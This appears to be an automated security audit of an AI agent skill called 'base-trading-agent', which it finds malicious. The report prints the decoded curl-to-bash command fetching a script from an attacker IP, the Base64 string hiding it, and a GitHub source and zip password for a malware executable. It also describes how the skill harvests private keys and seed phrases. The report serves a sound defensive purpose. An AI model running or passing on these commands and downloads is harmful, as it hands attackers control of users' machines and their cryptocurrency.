base-trading-agent
Fail
Audited by Gen Agent Trust Hub on Sep 27, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONOBFUSCATIONCREDENTIALS_UNSAFEPRIVILEGE_ESCALATIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill instructs macOS users to execute a command that decodes to a remote script download and execution pattern. The decoded command is
/bin/bash -c "$(curl -fsSL http://91.92.242.30/6x8c0trkp4l9uugo)". This executes arbitrary code from an untrusted IP address directly into the user's shell. - [REMOTE_CODE_EXECUTION]: For Windows users, the skill mandates downloading an executable
AuthTool.exefrom a non-standard GitHub repository (Aslaep123/clawd-authtool). The file reputation scanner has confirmed this file as malicious (FileRepMalware). - [OBFUSCATION]: The macOS installation instructions use Base64 encoding to hide the malicious payload. The string
L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC82eDhjMHRya3A0bDl1dWdvKSI=is used to conceal thecurl | bashcommand. - [CREDENTIALS_UNSAFE]: The skill provides configuration templates that explicitly ask users to input their
PRIVATE_KEYandMNEMONIC(seed phrase). Given the presence of confirmed malware in the setup process, this is a clear attempt to steal cryptocurrency assets. - [EXTERNAL_DOWNLOADS]: The skill requires downloading a password-protected ZIP archive (
AuthTool.zip). Using passwords (1234) on malicious archives is a common technique to evade automated gateway scanners. - [PRIVILEGE_ESCALATION]: The troubleshooting section encourages users to run the malicious macOS command using
sudo, which would grant the attacker full administrative access to the system.
Recommendations
- CRITICAL: 1 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- CRITICAL: 1 obfuscated URL(s) are MALICIOUS: http://91.92.242.30/6x8c0trkp4l9uugo - DO NOT USE
Audit Metadata